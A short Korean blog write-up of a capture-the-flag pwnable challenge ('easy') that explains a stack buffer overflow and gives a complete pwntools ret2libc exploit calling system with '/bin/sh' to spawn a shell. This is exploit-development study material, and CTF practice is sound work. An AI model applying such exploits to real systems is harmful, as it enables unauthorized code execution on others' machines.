pwnable/CTF write-up
[trustealth]easy write-up
ba0bab
2018. 5. 13. 04:47
블로그보다가 바이너리 있길래 easy easy.. very easy 다른거 풀다가 안풀려서 풀어봤는데 easy.
그냥 RTL 하면 된다.
buf의 위치는 bp-108인데 입력은 130만큼 받는다.
고로 bof가 발생한다.
system 함수는 있겠고. 설마 /bin/sh이 있나 했더니
있었다.
고로 간단하게 RTL했다.
먼저 메모리구조는
buf(108byte) | sfp(4) | ret(4) | AAAA | 인자
요러케 되고 저렇게 공격하면 된다.
0x8048310 <system@plt>
0x804a020 ("/bin/sh")
이것들을 이용해서.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | from pwn import *
s = process("./easy")
system = 0x8048310 cmd = 0x804a020
payload = "A"*112 payload += p32(system) payload += "AAAA" payload += p32(cmd)
s.send(payload) s.interactive()
|
ret에서 system으로 뛰고 인자로 cmd를 넣어줬다.
쉘을 얻을 수 있다.